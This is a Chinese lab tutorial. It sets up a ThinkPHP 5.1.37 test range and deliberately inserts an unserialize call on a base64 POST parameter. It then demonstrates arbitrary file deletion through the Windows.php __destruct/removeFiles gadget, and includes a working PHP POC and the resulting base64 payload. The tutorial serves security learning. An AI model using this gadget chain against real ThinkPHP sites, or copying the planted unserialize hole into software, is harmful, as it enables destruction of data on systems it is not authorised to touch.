反序列化漏洞4-Thinkphp5.4靶场安装及Thinkphp反序列化漏洞任意文件删除演示
一.Thinkphp5.4靶场安装
安装环境所需
虚拟机:win10-1903
安装包:
将这三个压缩包导入win10虚拟机并解压缩:
常规安装下一步即可:
注意如果跳出:一定要点击下载这个。
安装完成后:
进入小皮将WNMP里面换成Apache。
然后启动;
我们ipconfig查看win10ip地址:192.168.105.199
我们将源码解压后转到网站目录下:
然后物理机访问浏览器:
http://192.168.105.199/think-5.1.37/public/
到这里环境搭建就完成了。
我们再将:
$s = base64_decode($_POST['key']);
unserialize($s);
加入到index.php文件中:


然后我们再去访问浏览器:

报错是因为,我们刚加的key参数这里没有传参:

我们这里随便传一个参数就不会报错了。
二.ThinkPHP 反序列化漏洞任意文件删除
漏洞存在位置: C:\phpstudy_pro\WWW\think5.1.37\thinkphp\library\think\process\pipes\Windows.php
Windows.php 中定义了__destruct 当一个对象销毁时被调用,此时执行 removeFiles()方法。
我们将源代码导入到我们的审计工具中:
点左上角新建项目导入我们想要查看的文件。

然后全局搜索:__destruct

最下面的windows的就是我们的目标文件:
双击打开

可以看到__destruct里面定义了两个方法,而removefile就是删除文件的方法:
我们在左边函数列表寻找到remove方法双击点开:

查找 removeFiles 函数可以看到这个函数中使用了$this->files 而 files 是可控的。
Filename 通过 this->files 获取文件路径,然后 file_exists 判断 filename 文件路径是否存在,如
果存在则通过@unlink 删除文件。
原理解释完毕,下面给出poc:
<?php
//引用命名空间和 Pipes 类
namespace think\process\pipes;
class Pipes{}
//Windows 类
class Windows extends Pipes
{
//files 属性
private $files = [];
//__construct 魔术方法
public function __construct()
{
//$this->files 属性的值修改为我们要删除的文件
$this->files=['c:\\fjw.txt'];
}
}
//base64 输出序列化后的 Windows 对象
echo base64_encode(serialize(new Windows()));
?>
我们拿到kali或者centos里面都可以:

然后运行复制结果:

TzoyNzoidGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzIjoxOntzOjM0OiIAdGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzAGZpbGVzIjthOjE6e2k6MDtzOjEwOiJjOlxmancudHh0Ijt9fQ==
然后我们在php中创建一个fjw.txt:

然后在hackbar里面构造:

key=TzoyNzoidGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzIjoxOntzOjM0OiIAdGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzAGZpbGVzIjthOjE6e2k6MDtzOjEwOiJjOlxmancudHh0Ijt9fQ==
点击EXECUTE执行,然后查看:

看到执行成功任意文件删除。